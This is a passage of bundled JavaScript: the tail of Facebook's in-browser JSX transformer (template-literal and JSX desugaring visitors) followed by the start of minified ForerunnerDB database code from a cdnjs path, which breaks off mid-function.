visitTemplateLiteral.test = function(node, path, state) {
return node.type === Syntax.TemplateLiteral;
};
/**
* http://people.mozilla.org/~jorendorff/es6-draft.html#sec-12.2.6
*/
function visitTaggedTemplateExpression(traverse, node, path, state) {
var template = node.quasi;
var numQuasis = template.quasis.length;
// print the tag
utils.move(node.tag.range[0], state);
traverse(node.tag, path, state);
utils.catchup(node.tag.range[1], state);
// print array of template elements
utils.append('(function() { var siteObj = [', state);
for (var ii = 0; ii < numQuasis; ii++) {
utils.append(getCookedValue(template.quasis[ii]), state);
if (ii !== numQuasis - 1) {
utils.append(', ', state);
}
}
utils.append(']; siteObj.raw = [', state);
for (ii = 0; ii < numQuasis; ii++) {
utils.append(getRawValue(template.quasis[ii]), state);
if (ii !== numQuasis - 1) {
utils.append(', ', state);
}
}
utils.append(
']; Object.freeze(siteObj.raw); Object.freeze(siteObj); return siteObj; }()',
state
);
// print substitutions
if (numQuasis > 1) {
for (ii = 0; ii < template.expressions.length; ii++) {
var expression = template.expressions[ii];
utils.append(', ', state);
// maintain line numbers by calling catchupWhiteSpace over the whole
// previous TemplateElement
utils.move(template.quasis[ii].range[0], state);
utils.catchupNewlines(template.quasis[ii].range[1], state);
utils.move(expression.range[0], state);
traverse(expression, path, state);
utils.catchup(expression.range[1], state);
}
}
// print blank lines to push the closing ) down to account for the final
// TemplateElement.
utils.catchupNewlines(node.range[1], state);
utils.append(')', state);
return false;
}
visitTaggedTemplateExpression.test = function(node, path, state) {
return node.type === Syntax.TaggedTemplateExpression;
};
function getCookedValue(templateElement) {
return JSON.stringify(templateElement.value.cooked);
}
function getRawValue(templateElement) {
return JSON.stringify(templateElement.value.raw);
}
exports.visitorList = [
visitTemplateLiteral,
visitTaggedTemplateExpression
];
},{"../src/utils":20,"esprima-fb":6}],26:[function(_dereq_,module,exports){
/**
* Copyright 2013-2014 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/* jshint browser: true */
/* jslint evil: true */
'use strict';
var runScripts;
var headEl;
var buffer = _dereq_('buffer');
var transform = _dereq_('jstransform').transform;
var visitors = _dereq_('./fbtransform/visitors').transformVisitors;
var docblock = _dereq_('jstransform/src/docblock');
// The source-map library relies on Object.defineProperty, but IE8 doesn't
// support it fully even with es5-sham. Indeed, es5-sham's defineProperty
// throws when Object.prototype.__defineGetter__ is missing, so we skip building
// the source map in that case.
var supportsAccessors = Object.prototype.hasOwnProperty('__defineGetter__');
function transformReact(source) {
return transform(visitors.react, source, {
sourceMap: supportsAccessors
});
}
exports.transform = transformReact;
exports.exec = function(code) {
return eval(transformReact(code).code);
};
var inlineScriptCount = 0;
// This method returns a nicely formated line of code pointing the
// exactly location of the error `e`.
// The line is limited in size so big lines of code are also shown
// in a readable way.
// Example:
//
// ... x', overflow:'scroll'}} id={} onScroll={this.scroll} class=" ...
// ^
var createSourceCodeErrorMessage = function(code, e) {
var sourceLines = code.split('\n');
var erroneousLine = sourceLines[e.lineNumber - 1];
// Removes any leading indenting spaces and gets the number of
// chars indenting the `erroneousLine`
var indentation = 0;
erroneousLine = erroneousLine.replace(/^\s+/, function(leadingSpaces) {
indentation = leadingSpaces.length;
return '';
});
// Defines the number of characters that are going to show
// before and after the erroneous code
var LIMIT = 30;
var errorColumn = e.column - indentation;
if (errorColumn > LIMIT) {
erroneousLine = '... ' + erroneousLine.slice(errorColumn - LIMIT);
errorColumn = 4 + LIMIT;
}
if (erroneousLine.length - errorColumn > LIMIT) {
erroneousLine = erroneousLine.slice(0, errorColumn + LIMIT) + ' ...';
}
var message = '\n\n' + erroneousLine + '\n';
message += new Array(errorColumn - 1).join(' ') + '^';
return message;
};
var transformCode = function(code, source) {
var jsx = docblock.parseAsObject(docblock.extract(code)).jsx;
if (jsx) {
try {
var transformed = transformReact(code);
} catch(e) {
e.message += '\n at ';
if (source) {
if ('fileName' in e) {
// We set `fileName` if it's supported by this error object and
// a `source` was provided.
// The error will correctly point to `source` in Firefox.
e.fileName = source;
}
e.message += source + ':' + e.lineNumber + ':' + e.column;
} else {
e.message += location.href;
}
e.message += createSourceCodeErrorMessage(code, e);
throw e;
}
if (!transformed.sourceMap) {
return transformed.code;
}
var map = transformed.sourceMap.toJSON();
if (source == null) {
source = "Inline JSX script";
inlineScriptCount++;
if (inlineScriptCount > 1) {
source += ' (' + inlineScriptCount + ')';
}
}
map.sources = [source];
map.sourcesContent = [code];
return (
transformed.code +
'//# sourceMappingURL=data:application/json;base64,' +
buffer.Buffer(JSON.stringify(map)).toString('base64')
);
} else {
return code;
}
};
var run = exports.run = function(code, source) {
var scriptEl = document.createElement('script');
scriptEl.text = transformCode(code, source);
headEl.appendChild(scriptEl);
};
var load = exports.load = function(url, callback) {
var xhr;
xhr = window.ActiveXObject ? new window.ActiveXObject('Microsoft.XMLHTTP')
: new XMLHttpRequest();
// Disable async since we need to execute scripts in the order they are in the
// DOM to mirror normal script loading.
xhr.open('GET', url, false);
if ('overrideMimeType' in xhr) {
xhr.overrideMimeType('text/plain');
}
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
if (xhr.status === 0 || xhr.status === 200) {
run(xhr.responseText, url);
} else {
throw new Error("Could not load " + url);
}
if (callback) {
return callback();
}
}
};
return xhr.send(null);
};
runScripts = function() {
var scripts = document.getElementsByTagName('script');
// Array.prototype.slice cannot be used on NodeList on IE8
var jsxScripts = [];
for (var i = 0; i < scripts.length; i++) {
if (scripts.item(i).type === 'text/jsx') {
jsxScripts.push(scripts.item(i));
}
}
console.warn("You are using the in-browser JSX transformer. Be sure to precompile your JSX for production - http://facebook.github.io/react/docs/tooling-integration.html#jsx");
jsxScripts.forEach(function(script) {
if (script.src) {
load(script.src);
} else {
run(script.innerHTML, null);
}
});
};
if (typeof window !== "undefined" && window !== null) {
headEl = document.getElementsByTagName('head')[0];
if (window.addEventListener) {
window.addEventListener('DOMContentLoaded', runScripts, false);
} else {
window.attachEvent('onload', runScripts);
}
}
},{"./fbtransform/visitors":30,"buffer":1,"jstransform":19,"jstransform/src/docblock":18}],27:[function(_dereq_,module,exports){
/**
* Copyright 2013-2014 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*global exports:true*/
"use strict";
var Syntax = _dereq_('esprima-fb').Syntax;
var utils = _dereq_('jstransform/src/utils');
var FALLBACK_TAGS = _dereq_('./xjs').knownTags;
var renderXJSExpressionContainer =
_dereq_('./xjs').renderXJSExpressionContainer;
var renderXJSLiteral = _dereq_('./xjs').renderXJSLiteral;
var quoteAttrName = _dereq_('./xjs').quoteAttrName;
/**
* Customized desugar processor.
*
* Currently: (Somewhat tailored to React)
* <X> </X> => X(null, null)
* <X prop="1" /> => X({prop: '1'}, null)
* <X prop="2"><Y /></X> => X({prop:'2'}, Y(null, null))
* <X prop="2"><Y /><Z /></X> => X({prop:'2'}, [Y(null, null), Z(null, null)])
*
* Exceptions to the simple rules above:
* if a property is named "class" it will be changed to "className" in the
* javascript since "class" is not a valid object key in javascript.
*/
var JSX_ATTRIBUTE_TRANSFORMS = {
cxName: function(attr) {
throw new Error(
"cxName is no longer supported, use className={cx(...)} instead"
);
}
};
function visitReactTag(traverse, object, path, state) {
var jsxObjIdent = utils.getDocblock(state).jsx;
var openingElement = object.openingElement;
var nameObject = openingElement.name;
var attributesObject = openingElement.attributes;
utils.catchup(openingElement.range[0], state);
if (nameObject.namespace) {
throw new Error(
'Namespace tags are not supported. ReactJSX is not XML.');
}
var isFallbackTag = FALLBACK_TAGS.hasOwnProperty(nameObject.name);
utils.append(
(isFallbackTag ? jsxObjIdent + '.' : '') + (nameObject.name) + '(',
state
);
utils.move(nameObject.range[1], state);
// if we don't have any attributes, pass in null
if (attributesObject.length === 0) {
utils.append('null', state);
}
// write attributes
attributesObject.forEach(function(attr, index) {
utils.catchup(attr.range[0], state);
if (attr.name.namespace) {
throw new Error(
'Namespace attributes are not supported. ReactJSX is not XML.');
}
var name = attr.name.name;
var isFirst = index === 0;
var isLast = index === attributesObject.length - 1;
if (isFirst) {
utils.append('{', state);
}
utils.append(quoteAttrName(name), state);
utils.append(':', state);
if (!attr.value) {
state.g.buffer += 'true';
state.g.position = attr.name.range[1];
if (!isLast) {
utils.append(',', state);
}
} else {
utils.move(attr.name.range[1], state);
// Use catchupWhiteSpace to skip over the '=' in the attribute
utils.catchupWhiteSpace(attr.value.range[0], state);
if (JSX_ATTRIBUTE_TRANSFORMS.hasOwnProperty(attr.name.name)) {
utils.append(JSX_ATTRIBUTE_TRANSFORMS[attr.name.name](attr), state);
utils.move(attr.value.range[1], state);
if (!isLast) {
utils.append(',', state);
}
} else if (attr.value.type === Syntax.Literal) {
renderXJSLiteral(attr.value, isLast, state);
} else {
renderXJSExpressionContainer(traverse, attr.value, isLast, path, state);
}
}
if (isLast) {
utils.append('}', state);
}
utils.catchup(attr.range[1], state);
});
if (!openingElement.selfClosing) {
utils.catchup(openingElement.range[1] - 1, state);
utils.move(openingElement.range[1], state);
}
// filter out whitespace
var childrenToRender = object.children.filter(function(child) {
return !(child.type === Syntax.Literal
&& typeof child.value === 'string'
&& child.value.match(/^[ \t]*[\r\n][ \t\r\n]*$/));
});
if (childrenToRender.length > 0) {
var lastRenderableIndex;
childrenToRender.forEach(function(child, index) {
if (child.type !== Syntax.XJSExpressionContainer ||
child.expression.type !== Syntax.XJSEmptyExpression) {
lastRenderableIndex = index;
}
});
if (lastRenderableIndex !== undefined) {
utils.append(', ', state);
}
childrenToRender.forEach(function(child, index) {
utils.catchup(child.range[0], state);
var isLast = index >= lastRenderableIndex;
if (child.type === Syntax.Literal) {
renderXJSLiteral(child, isLast, state);
} else if (child.type === Syntax.XJSExpressionContainer) {
renderXJSExpressionContainer(traverse, child, isLast, path, state);
} else {
traverse(child, path, state);
if (!isLast) {
utils.append(',', state);
state.g.buffer = state.g.buffer.replace(/(\s*),$/, ',$1');
}
}
utils.catchup(child.range[1], state);
});
}
if (openingElement.selfClosing) {
// everything up to />
utils.catchup(openingElement.range[1] - 2, state);
utils.move(openingElement.range[1], state);
} else {
// everything up to </ sdflksjfd>
utils.catchup(object.closingElement.range[0], state);
utils.move(object.closingElement.range[1], state);
}
utils.append(')', state);
return false;
}
visitReactTag.test = function(object, path, state) {
// only run react when react @jsx namespace is specified in docblock
var jsx = utils.getDocblock(state).jsx;
return object.type === Syntax.XJSElement && jsx && jsx.length;
};
exports.visitorList = [
visitReactTag
];
},{"./xjs":29,"esprima-fb":6,"jstransform/src/utils":20}],28:[function(_dereq_,module,exports){
/**
* Copyright 2013-2014 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*global exports:true*/
"use strict";
var Syntax = _dereq_('esprima-fb').Syntax;
var utils = _dereq_('jstransform/src/utils');
function addDisplayName(displayName, object, state) {
if (object &&
object.type === Syntax.CallExpression &&
object.callee.type === Syntax.MemberExpression &&
object.callee.object.type === Syntax.Identifier &&
object.callee.object.name === 'React' &&
object.callee.property.type === Syntax.Identifier &&
object.callee.property.name === 'createClass' &&
object['arguments'].length === 1 &&
object['arguments'][0].type === Syntax.ObjectExpression) {
// Verify that the displayName property isn't already set
var properties = object['arguments'][0].properties;
var safe = properties.every(function(property) {
var value = property.key.type === Syntax.Identifier ?
property.key.name :
property.key.value;
return value !== 'displayName';
});
if (safe) {
utils.catchup(object['arguments'][0].range[0] + 1, state);
utils.append("displayName: '" + displayName + "',", state);
}
}
}
/**
* Transforms the following:
*
* var MyComponent = React.createClass({
* render: ...
* });
*
* into:
*
* var MyComponent = React.createClass({
* displayName: 'MyComponent',
* render: ...
* });
*
* Also catches:
*
* MyComponent = React.createClass(...);
* exports.MyComponent = React.createClass(...);
* module.exports = {MyComponent: React.createClass(...)};
*/
function visitReactDisplayName(traverse, object, path, state) {
var left, right;
if (object.type === Syntax.AssignmentExpression) {
left = object.left;
right = object.right;
} else if (object.type === Syntax.Property) {
left = object.key;
right = object.value;
} else if (object.type === Syntax.VariableDeclarator) {
left = object.id;
right = object.init;
}
if (left && left.type === Syntax.MemberExpression) {
left = left.property;
}
if (left && left.type === Syntax.Identifier) {
addDisplayName(left.name, right, state);
}
}
/**
* Will only run on @jsx files for now.
*/
visitReactDisplayName.test = function(object, path, state) {
if (utils.getDocblock(state).jsx) {
return (
object.type === Syntax.AssignmentExpression ||
object.type === Syntax.Property ||
object.type === Syntax.VariableDeclarator
);
} else {
return false;
}
};
exports.visitorList = [
visitReactDisplayName
];
},{"esprima-fb":6,"jstransform/src/utils":20}],29:[function(_dereq_,module,exports){
/**
* Copyright 2013-2014 Facebook, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*global exports:true*/
"use strict";
var Syntax = _dereq_('esprima-fb').Syntax;
var utils = _dereq_('jstransform/src/utils');
var knownTags = {
a: true,
abbr: true,
address: true,
applet: true,
area: true,
article: true,
aside: true,
audio: true,
b: true,
base: true,
bdi: true,
bdo: true,
big: true,
blockquote: true,
body: true,
br: true,
button: true,
canvas: true,
caption: true,
circle: true,
cite: true,
code: true,
col: true,
colgroup: true,
command: true,
data: true,
datalist: true,
dd: true,
defs: true,
del: true,
details: true,
dfn: true,
dialog: true,
div: true,
dl: true,
dt: true,
ellipse: true,
em: true,
embed: true,
fieldset: true,
figcaption: true,
figure: true,
footer: true,
form: true,
g: true,
h1: true,
h2: true,
h3: true,
h4: true,
h5: true,
h6: true,
head: true,
header: true,
hgroup: true,
hr: true,
html: true,
i: true,
iframe: true,
img: true,
input: true,
ins: true,
kbd: true,
keygen: true,
label: true,
legend: true,
li: true,
line: true,
linearGradient: true,
link: true,
main: true,
map: true,
mark: true,
marquee: true,
menu: true,
menuitem: true,
meta: true,
meter: true,
nav: true,
noscript: true,
object: true,
ol: true,
optgroup: true,
option: true,
output: true,
p: true,
param: true,
path: true,
polygon: true,
polyline: true,
pre: true,
progress: true,
q: true,
radialGradient: true,
rect: true,
rp: true,
rt: true,
ruby: true,
s: true,
samp: true,
script: true,
section: true,
select: true,
small: true,
source: true,
span: true,
stop: true,
strong: true,
style: true,
sub: true,
summary: true,
sup: true,
svg: true,
table: true,
tbody: true,
td: true,
text: true,
textarea: true,
tfoot: true,
th: true,
thead: true,
time: true,
title: true,
tr: true,
track: true,
u: true,
ul: true,
'var': true,
video: true,
wbr: true
};
function renderXJSLiteral(object, isLast, state, start, end) {
var lines = object.value.split(/\r\n|\n|\r/);
if (start) {
utils.append(start, state);
}
var lastNonEmptyLine = 0;
lines.forEach(function (line, index) {
if (line.match(/[^ \t]/)) {
lastNonEmptyLine = index;
}
});
lines.forEach(function (line, index) {
var isFirstLine = index === 0;
var isLastLine = index === lines.length - 1;
var isLastNonEmptyLine = index === lastNonEmptyLine;
// replace rendered whitespace tabs with spaces
var trimmedLine = line.replace(/\t/g, ' ');
// trim whitespace touching a newline
if (!isFirstLine) {
trimmedLine = trimmedLine.replace(/^[ ]+/, '');
}
if (!isLastLine) {
trimmedLine = trimmedLine.replace(/[ ]+$/, '');
}
utils.append(line.match(/^[ \t]*/)[0], state);
if (trimmedLine || isLastNonEmptyLine) {
utils.append(
JSON.stringify(trimmedLine) +
(!isLastNonEmptyLine ? "+' '+" : ''),
state);
if (isLastNonEmptyLine) {
if (end) {
utils.append(end, state);
}
if (!isLast) {
utils.append(',', state);
}
}
// only restore tail whitespace if line had literals
if (trimmedLine) {
utils.append(line.match(/[ \t]*$/)[0], state);
}
}
if (!isLastLine) {
utils.append('\n', state);
}
});
utils.move(object.range[1], state);
}
function renderXJSExpressionContainer(traverse, object, isLast, path, state) {
// Plus 1 to skip `{`.
utils.move(object.range[0] + 1, state);
traverse(object.expression, path, state);
if (!isLast && object.expression.type !== Syntax.XJSEmptyExpression) {
// If we need to append a comma, make sure to do so after the expression.
utils.catchup(object.expression.range[1], state);
utils.append(',', state);
}
// Minus 1 to skip `}`.
utils.catchup(object.range[1] - 1, state);
utils.move(object.range[1], state);
return false;
}
function quoteAttrName(attr) {
// Quote invalid JS identifiers.
if (!/^[a-z_$][a-z\d_$]*$/i.test(attr)) {
return "'" + attr + "'";
}
return attr;
}
exports.knownTags = knownTags;
exports.renderXJSExpressionContainer = renderXJSExpressionContainer;
exports.renderXJSLiteral = renderXJSLiteral;
exports.quoteAttrName = quoteAttrName;
},{"esprima-fb":6,"jstransform/src/utils":20}],30:[function(_dereq_,module,exports){
/*global exports:true*/
var es6ArrowFunctions = _dereq_('jstransform/visitors/es6-arrow-function-visitors');
var es6Classes = _dereq_('jstransform/visitors/es6-class-visitors');
var es6ObjectShortNotation = _dereq_('jstransform/visitors/es6-object-short-notation-visitors');
var es6RestParameters = _dereq_('jstransform/visitors/es6-rest-param-visitors');
var es6Templates = _dereq_('jstransform/visitors/es6-template-visitors');
var react = _dereq_('./transforms/react');
var reactDisplayName = _dereq_('./transforms/reactDisplayName');
/**
* Map from transformName => orderedListOfVisitors.
*/
var transformVisitors = {
'es6-arrow-functions': es6ArrowFunctions.visitorList,
'es6-classes': es6Classes.visitorList,
'es6-object-short-notation': es6ObjectShortNotation.visitorList,
'es6-rest-params': es6RestParameters.visitorList,
'es6-templates': es6Templates.visitorList,
'react': react.visitorList.concat(reactDisplayName.visitorList)
};
/**
* Specifies the order in which each transform should run.
*/
var transformRunOrder = [
'es6-arrow-functions',
'es6-object-short-notation',
'es6-classes',
'es6-rest-params',
'es6-templates',
'react'
];
/**
* Given a list of transform names, return the ordered list of visitors to be
* passed to the transform() function.
*
* @param {array?} excludes
* @return {array}
*/
function getAllVisitors(excludes) {
var ret = [];
for (var i = 0, il = transformRunOrder.length; i < il; i++) {
if (!excludes || excludes.indexOf(transformRunOrder[i]) === -1) {
ret = ret.concat(transformVisitors[transformRunOrder[i]]);
}
}
return ret;
}
exports.getAllVisitors = getAllVisitors;
exports.transformVisitors = transformVisitors;
},{"./transforms/react":27,"./transforms/reactDisplayName":28,"jstransform/visitors/es6-arrow-function-visitors":21,"jstransform/visitors/es6-class-visitors":22,"jstransform/visitors/es6-object-short-notation-visitors":23,"jstransform/visitors/es6-rest-param-visitors":24,"jstransform/visitors/es6-template-visitors":25}]},{},[26])
(26)
});
|
ajax/libs/forerunnerdb/1.3.717/fdb-core.min.js
|
honestree/cdnjs
|
!function a(b,c,d){function e(g,h){if(!c[g]){if(!b[g]){var i="function"==typeof require&&require;if(!h&&i)return i(g,!0);if(f)return f(g,!0);var j=new Error("Cannot find module '"+g+"'");throw j.code="MODULE_NOT_FOUND",j}var k=c[g]={exports:{}};b[g][0].call(k.exports,function(a){var c=b[g][1][a];return e(c?c:a)},k,k.exports,a,b,c,d)}return c[g].exports}for(var f="function"==typeof require&&require,g=0;g<d.length;g++)e(d[g]);return e}({1:[function(a,b,c){var d=a("../lib/Core");a("../lib/Shim.IE8");"undefined"!=typeof window&&(window.ForerunnerDB=d),b.exports=d},{"../lib/Core":5,"../lib/Shim.IE8":29}],2:[function(a,b,c){"use strict";var d=a("./Shared"),e=a("./Path"),f=new e,g=function(a,b,c){this.init.apply(this,arguments)};g.prototype.init=function(a,b,c,d,e){this._store=[],this._keys=[],void 0!==c&&this.primaryKey(c),void 0!==b&&this.index(b),void 0!==d&&this.compareFunc(d),void 0!==e&&this.hashFunc(e),void 0!==a&&this.data(a)},d.addModule("BinaryTree",g),d.mixin(g.prototype,"Mixin.ChainReactor"),d.mixin(g.prototype,"Mixin.Sorting"),d.mixin(g.prototype,"Mixin.Common"),d.synthesize(g.prototype,"compareFunc"),d.synthesize(g.prototype,"hashFunc"),d.synthesize(g.prototype,"indexDir"),d.synthesize(g.prototype,"primaryKey"),d.synthesize(g.prototype,"keys"),d.synthesize(g.prototype,"index",function(a){return void 0!==a&&(this.debug()&&console.log("Setting index",a,f.parse(a,!0)),this.keys(f.parse(a,!0))),this.$super.call(this,a)}),g.prototype.clear=function(){delete this._data,delete this._left,delete this._right,this._store=[]},g.prototype.data=function(a){return void 0!==a?(this._data=a,this._hashFunc&&(this._hash=this._hashFunc(a)),this):this._data},g.prototype.push=function(a){return void 0!==a?(this._store.push(a),this):!1},g.prototype.pull=function(a){if(void 0!==a){var b=this._store.indexOf(a);if(b>-1)return this._store.splice(b,1),this}return!1},g.prototype._compareFunc=function(a,b){var c,d,e=0;for(c=0;c<this._keys.length;c++)if(d=this._keys[c],1===d.value?e=this.sortAsc(f.get(a,d.path),f.get(b,d.path)):-1===d.value&&(e=this.sortDesc(f.get(a,d.path),f.get(b,d.path))),this.debug()&&console.log("Compared %s with %s order %d in path %s and result was %d",f.get(a,d.path),f.get(b,d.path),d.value,d.path,e),0!==e)return this.debug()&&console.log("Retuning result %d",e),e;return this.debug()&&console.log("Retuning result %d",e),e},g.prototype._hashFunc=function(a){return a[this._keys[0].path]},g.prototype.removeChildNode=function(a){this._left===a?delete this._left:this._right===a&&delete this._right},g.prototype.nodeBranch=function(a){return this._left===a?"left":this._right===a?"right":void 0},g.prototype.insert=function(a){var b,c,d,e;if(a instanceof Array){for(c=[],d=[],e=0;e<a.length;e++)this.insert(a[e])?c.push(a[e]):d.push(a[e]);return{inserted:c,failed:d}}return this.debug()&&console.log("Inserting",a),this._data?(b=this._compareFunc(this._data,a),0===b?(this.debug()&&console.log("Data is equal (currrent, new)",this._data,a),this._left?this._left.insert(a):(this._left=new g(a,this._index,this._binaryTree,this._compareFunc,this._hashFunc),this._left._parent=this),!0):-1===b?(this.debug()&&console.log("Data is greater (currrent, new)",this._data,a),this._right?this._right.insert(a):(this._right=new g(a,this._index,this._binaryTree,this._compareFunc,this._hashFunc),this._right._parent=this),!0):1===b?(this.debug()&&console.log("Data is less (currrent, new)",this._data,a),this._left?this._left.insert(a):(this._left=new g(a,this._index,this._binaryTree,this._compareFunc,this._hashFunc),this._left._parent=this),!0):!1):(this.debug()&&console.log("Node has no data, setting data",a),this.data(a),!0)},g.prototype.remove=function(a){var b,c,d,e=this.primaryKey();if(a instanceof Array){for(c=[],d=0;d<a.length;d++)this.remove(a[d])&&c.push(a[d]);return c}return this.debug()&&console.log("Removing",a),this._data[e]===a[e]?this._remove(this):(b=this._compareFunc(this._data,a),-1===b&&this._right?this._right.remove(a):1===b&&this._left?this._left.remove(a):!1)},g.prototype._remove=function(a){var b,c;return this._left?(b=this._left,c=this._right,this._left=b._left,this._right=b._right,this._data=b._data,this._store=b._store,c&&(b.rightMost()._right=c)):this._right?(c=this._right,this._left=c._left,this._right=c._right,this._data=c._data,this._store=c._store):this.clear(),!0},g.prototype.leftMost=function(){return this._left?this._left.leftMost():this},g.prototype.rightMost=function(){return this._right?this._right.rightMost():this},g.prototype.lookup=function(a,b,c){var d=this._compareFunc(this._data,a);return c=c||[],0===d&&(this._left&&this._left.lookup(a,b,c),c.push(this._data),this._right&&this._right.lookup(a,b,c)),-1===d&&this._right&&this._right.lookup(a,b,c),1===d&&this._left&&this._left.lookup(a,b,c),c},g.prototype.inOrder=function(a,b){switch(b=b||[],this._left&&this._left.inOrder(a,b),a){case"hash":b.push(this._hash);break;case"data":b.push(this._data);break;default:b.push({key:this._data,arr:this._store})}return this._right&&this._right.inOrder(a,b),b},g.prototype.startsWith=function(a,b,c,d){var e,g,h=f.get(this._data,a),i=h.substr(0,b.length);return c=c||new RegExp("^"+b),d=d||[],void 0===d._visited&&(d._visited=0),d._visited++,g=this.sortAsc(h,b),e=i===b,0===g&&(this._left&&this._left.startsWith(a,b,c,d),e&&d.push(this._data),this._right&&this._right.startsWith(a,b,c,d)),-1===g&&(e&&d.push(this._data),this._right&&this._right.startsWith(a,b,c,d)),1===g&&(this._left&&this._left.startsWith(a,b,c,d),e&&d.push(this._data)),d},g.prototype.findRange=function(a,b,c,d,f,g){f=f||[],g=g||new e(b),this._left&&this._left.findRange(a,b,c,d,f,g);var h=g.value(this._data),i=this.sortAsc(h,c),j=this.sortAsc(h,d);if(!(0!==i&&1!==i||0!==j&&-1!==j))switch(a){case"hash":f.push(this._hash);break;case"data":f.push(this._data);break;default:f.push({key:this._data,arr:this._store})}return this._right&&this._right.findRange(a,b,c,d,f,g),f},g.prototype.match=function(a,b,c){var d,e,g,h=[],i=0;for(d=f.parseArr(this._index,{verbose:!0}),e=f.parseArr(a,c&&c.pathOptions?c.pathOptions:{ignore:/\$/,verbose:!0}),g=0;g<d.length;g++)e[g]===d[g]&&(i++,h.push(e[g]));return{matchedKeys:h,totalKeyCount:e.length,score:i}},d.finishModule("BinaryTree"),b.exports=g},{"./Path":25,"./Shared":28}],3:[function(a,b,c){"use strict";var d,e;d=function(){var a,b,c,d=[];for(b=0;256>b;b++){for(a=b,c=0;8>c;c++)a=1&a?3988292384^a>>>1:a>>>1;d[b]=a}return d}(),e=function(a){var b,c=-1;for(b=0;b<a.length;b++)c=c>>>8^d[255&(c^a.charCodeAt(b))];return(-1^c)>>>0},b.exports=e},{}],4:[function(a,b,c){"use strict";var d,e,f,g,h,i,j,k,l,m,n;d=a("./Shared");var o=function(a,b){this.init.apply(this,arguments)};o.prototype.init=function(a,b){this.sharedPathSolver=n,this._primaryKey="_id",this._primaryIndex=new g("primary"),this._primaryCrc=new g("primaryCrc"),this._crcLookup=new g("crcLookup"),this._name=a,this._data=[],this._metrics=new f,this._options=b||{changeTimestamp:!1},this._options.db&&this.db(this._options.db),this._metaData={},this._deferQueue={insert:[],update:[],remove:[],upsert:[],async:[]},this._deferThreshold={insert:100,update:100,remove:100,upsert:100},this._deferTime={insert:1,update:1,remove:1,upsert:1},this._deferredCalls=!0,this.subsetOf(this)},d.addModule("Collection",o),d.mixin(o.prototype,"Mixin.Common"),d.mixin(o.prototype,"Mixin.Events"),d.mixin(o.prototype,"Mixin.ChainReactor"),d.mixin(o.prototype,"Mixin.CRUD"),d.mixin(o.prototype,"Mixin.Constants"),d.mixin(o.prototype,"Mixin.Triggers"),d.mixin(o.prototype,"Mixin.Sorting"),d.mixin(o.prototype,"Mixin.Matching"),d.mixin(o.prototype,"Mixin.Updating"),d.mixin(o.prototype,"Mixin.Tags"),f=a("./Metrics"),g=a("./KeyValueStore"),h=a("./Path"),i=a("./IndexHashMap"),j=a("./IndexBinaryTree"),k=a("./Index2d"),e=d.modules.Db,l=a("./Overload"),m=a("./ReactorIO"),n=new h,d.synthesize(o.prototype,"deferredCalls"),d.synthesize(o.prototype,"state"),d.synthesize(o.prototype,"name"),d.synthesize(o.prototype,"metaData"),d.synthesize(o.prototype,"capped"),d.synthesize(o.prototype,"cappedSize"),o.prototype._asyncPending=function(a){this._deferQueue.async.push(a)},o.prototype._asyncComplete=function(a){for(var b=this._deferQueue.async.indexOf(a);b>-1;)this._deferQueue.async.splice(b,1),b=this._deferQueue.async.indexOf(a);0===this._deferQueue.async.length&&this.deferEmit("ready")},o.prototype.data=function(){return this._data},o.prototype.drop=function(a){var b;if(this.isDropped())return a&&a.call(this,!1,!0),!0;if(this._db&&this._db._collection&&this._name){if(this.debug()&&console.log(this.logIdentifier()+" Dropping"),this._state="dropped",this.emit("drop",this),delete this._db._collection[this._name],this._collate)for(b in this._collate)this._collate.hasOwnProperty(b)&&this.collateRemove(b);return delete this._primaryKey,delete this._primaryIndex,delete this._primaryCrc,delete this._crcLookup,delete this._data,delete this._metrics,delete this._listeners,a&&a.call(this,!1,!0),!0}return a&&a.call(this,!1,!0),!1},o.prototype.primaryKey=function(a){if(void 0!==a){if(this._primaryKey!==a){var b=this._primaryKey;this._primaryKey=a,this._primaryIndex.primaryKey(a),this.rebuildPrimaryKeyIndex(),this.chainSend("primaryKey",{keyName:a,oldData:b})}return this}return this._primaryKey},o.prototype._onInsert=function(a,b){this.emit("insert",a,b)},o.prototype._onUpdate=function(a){this.emit("update",a)},o.prototype._onRemove=function(a){this.emit("remove",a)},o.prototype._onChange=function(){this._options.changeTimestamp&&(this._metaData.lastChange=this.serialiser.convert(new Date))},d.synthesize(o.prototype,"db",function(a){return a&&"_id"===this.primaryKey()&&(this.primaryKey(a.primaryKey()),this.debug(a.debug())),this.$super.apply(this,arguments)}),d.synthesize(o.prototype,"mongoEmulation"),o.prototype.setData=new l("Collection.prototype.setData",{"*":function(a){return this.$main.call(this,a,{})},"*, object":function(a,b){return this.$main.call(this,a,b)},"*, function":function(a,b){return this.$main.call(this,a,{},b)},"*, *, function":function(a,b,c){return this.$main.call(this,a,b,c)},"*, *, *":function(a,b,c){return this.$main.call(this,a,b,c)},$main:function(a,b,c){if(this.isDropped())throw this.logIdentifier()+" Cannot operate in a dropped state!";if(a){var 